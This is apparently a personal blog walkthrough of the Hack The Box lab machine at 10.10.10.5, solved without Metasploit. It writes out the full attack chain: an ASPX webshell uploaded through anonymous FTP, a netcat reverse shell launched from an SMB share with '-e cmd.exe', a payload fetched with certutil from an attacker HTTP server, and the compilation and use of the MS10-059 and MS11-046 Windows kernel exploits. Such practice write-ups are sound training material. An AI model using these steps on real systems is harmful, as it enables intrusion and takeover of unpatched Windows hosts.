Note: In an attempt to be OSCP friendly, NONE of my write ups will utilize Metasploit. Zero. Zip. Tell your friends.
As always, we’ll start with a basic nMap scan: nmap -sC -sV 10.10.10.5
We can see right away that port 21 FTP is open, as well as port 80. So let’s bring up our web browser and navigate to the website.
And we get a default IIS page. Not super helpful. However, if we look back at our nMap scan, we see that there was a welcome.png file and a iisstart.html file already loaded to the FTP directory.
If we go to our webpage and right click on the IIS7 image, and then click on “View Image” we see that we’re looking at welcome.png
Thus, it’s probably safe to assume that for some odd reason, the FTP directory is serving as the directory that’s also storing the webpages. Perhaps we can upload a script to that page and get it to execute.
The question now becomes what do we upload. Let’s try a .ASPX webshell first. An ASPX file is an Active Server Page Extended (ASPX) that is run on some Windows webservers running .Net. We picked this because we saw a .html file (and not a .php file) on the server when we looked in the FTP directory.
There is an ASPX webshell by default on Kali, so we can type locate cmd.aspx to find its path.
Let’s copy it to our current directory with the command cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
Now, we need to log into the FTP server and try to upload it. To do this, I’m going to open a new Terminal window and then type ftp 10.10.10.5 to log into the FTP server, then type anonymous as the username, followed by anything for the password.
Now, we can type put aspx_cmd.aspx to upload our FTP file.
Now, we should be able to navigate to http://10.10.10.5/aspx_cmd.aspx to execute our upload exploit
And from here, we can type commans and interact with the box.
Now, we want to upload NetCat to our target server. Windows by default does not have NetCat installed, and we want to try to get it on our Windows server so we can get our shell back.
To get started, create a new directory called smb and then copy the nc.exe binary to that directory with the following commands: mkdir smb; locate nc.exe; cp /usr/share/windows-resources/binaries/nc.exe smb
To transfer the files to or target machine we’re going to use impacket-smbserver
To use it, you type impacket-smbserver <share name> <share path>, so in our instance we’ll do impacket-smbserver Folder smb
Before we pull our nc.exe file over and execute it, we want to setup a NetCat listener first on our Kali machine, so run the following command in a new terminal window: nc -lvp 1234
Now that’s up we can then pull our nc.exe file over to our target Windows machine: \\10.10.16.42\Folder\nc.exe -e cmd.exe 10.10.16.42 1234
Click on the execute button on the web page and then check your Terminal window that has yo NetCat listener and you should have a shell.
Typing systeminfo on our target machine shows that some stuff is quite out of date:
Specifically, if we scroll down to the very bottom of the systeminfo output, we see that there are no Hotfixes applied.
Windows Exploit Suggester
We’re going to try to identify vulnerabilities on this Windows machine using the Windows Exploit Suggester, available here: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
We can start by navigating to the raw version of the page on GitHub and then using wget to pull it onto our Kali box: wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py
Then we’ll update it with the following command: ./windows-exploit-suggester.py –update
Next, we need to take the output from the systeminfo command we ran earlier on our target machine and paste it into a new file on our Kali box so that WES can look at it. Start by copying the word systeminfo and everything else down to the next command line:
I then created a new file on my Kali box called systeminfo.txt and pasted that info into there.
When we’re ready, we should have or python file, our database .xls, and our systeminfo.txt
Thus, my command to check the exploits is: ./windows-exploit-suggester.py –database 2020-03-04-mssb.xls –systeminfo systeminfo.txt
And I get an error. And then I remembered there were some dependencies mentioned in the documentation that I need to install….RTFM, right?
Thus, it took installing these two things for success to happen: sudo apt install python python-pip and then pip install xlrd
And as we can see there’s a few exploits available for this machine.
We can look on the left side of the output there and see that anything with a green [E] indicates an exploit that doesn’t use Metasploit. However, when digging into them I couldn’t find any that I thought would work. So let’s try another route.
I haven’t used Watson before, so this will be a first. A friend of mine has a write up on Watson on his blog over at https://recipeforroot.com/windows-kernel-exploitation/ and I haven’t gotten around to trying it yet. So here we go…
So, this bad boy has to be setup on a Windows machine, and my host box is running Win 10, so that works out. I started by cloning the repo to where I save repos on my Windows box, using GitBash.
You’ll also need Visual Studio, which is a free download from Microsoft here (grab the community edition): https://visualstudio.microsoft.com/downloads/
Once you have Watson downloaded and Visual Studio installed, from within Visual Studio click on Open a project or solution.
Navigate to your Watson repo and open the Watson.sln file.
Once you have the file open, in the access bar on the right side of the screen, right click on Watson and then select Properties.
We are now presented with a window asking us which .Net framework we want to target.
To get that, we have to go back to our target machine that we have our shell on. From your shell navigate to C:\Windows\Micrsoft.NET\Framework and then do dir to see what’s installed.
We can tell by the last entry, our target machine is using v3.5.
So now from our Visual Studio window, we’ll select 3.5 and then click on Yes when prompted.
Now, we can build an executable that will be run on our target machine to help identify vulnerabilities. To do this, click on Build from the menu on the top, and then Configuration Manager.
If you’ll remember from when we ran systeminfo our target machine is running a X86 based architecture.
So we’ll need to change a few things on this page to reflect that. Change the Active solution configuration to Release, and then on the Platform column, select New.
Then change the New platform to x86 and click Ok.
And then close the Configuration Manger window.
Next, select Build at the top menu, and then Build Watson.
When the build is finished, we see that there is a new .exe file we’ll want to send over to our target machine. You’ll also want to note the location path of the new Watson.exe file.
Now, you’ve got to figure out how to get this Watson.exe file to your Kali box first. Depending on how you virtual environment is setup you might be able to click/drag/copy/paste/shared folder it to you Kali box, and then stick it in the smb folder you had nc.exe in.
From your shell, type \\IP of you Kali box\Folder\Watson.exe, so something like \10.10.16.42\Folder\Watson.exe
And…..my Watson failed.
I tried compiling it twice, with two different architectures. So I’ll fuck with that later.
(Update) More Manual Exploits
When I initially did this box I “cheated” and found out that MS11-046 was an exploit that worked on this box. The thing that left the bad taste in my mouth was that I didn’t “know how” to find that exploit on my own. But now I do.
Let’s look back at our initial findings from Windows Exploit Suggester:
So if we look at the screen shot above, we see there are several Windows Kernel exploits that are potentially exploitable. What we’ll do is take those exploits and compare them with this GitHub repo of working exploits: https://github.com/SecWiki/windows-kernel-exploits
Working from the bottom of of the list above, MS10-015 is the first exploit we’ll look into, and sure enough it’s on the Repo: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-015
When we look at this exploit, though, it looks like it requires a user to already be logged onto the target machine and have a command prompt going. So that’s not going to work if our goal is to get a shell.
Looking at the next exploit on the list, MS10-047, there is not a corresponding exploit in our repo. However, there is one for MS10-059.
The repo writeup does not have a lot of information, which is unforunate.
A little more googling of MS10-059 brought me to this repo page.
If we look at the attached screenshot.png file it looks like if we were able to get the Chimichurri.exe file to the target machine, we can execute it and specify an IP address of our Kali box and then have a shell. So with that in mind, I’m going to download the .exe and stick it in my working directory. After it’s in my working directory, I’m going to setup the Python SimpleHTTPServer so I can transfer it.
Next, from the shell we have on our Windows machine, let’s navigate to the temp directory and then transfer the file over (and we’ll call it ms.exe to make life easier): certutil -urlcache -f http://10.10.14.18/Chimichurri.exe ms.exe
Then, we can execute it after we setup our NetCat listener on our Kali Box: ms.exe 10.10.14.18 8080
Another Route: MS11-046
I know the MS11-046 vulnerability is on this box, so let’s exploit it. First, let’s see if there’s a script for it already on our Kali box: searchsploit 11-046
There is, so let’s copy that to our current location: cp /usr/share/exploitdb/exploits/windows_x86/local/40564.c .
Let’s use Nano to view the code: nano 40564.c
And when looking at the notes they give us the exact syntax to compile this bad boy, so let’s try it.
And an error…what a day. Let’s try installing Ming, which is the compiler we need: apt-get install ming-w64
After it’s installed, we try to compile our code again and we get an error….
Since I copied the line of text from the program, it’s looking for MS11-046.c to compile, instead of what I found using searchsploit, which is the 40564.c file. So let’s fix that: i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32
And when we do ls we have a new .exe file there. Let’s move it to our smb folder: mv MS11-046.exe smb/MS11-046.exe
And then go back to our shell and run it: \\10.10.16.42\Folder\MS11-046.exe
Excellent. Root access. From here we should be able to navigate to the C:\Users folder and then hop in the Administrator and the user Desktop folder.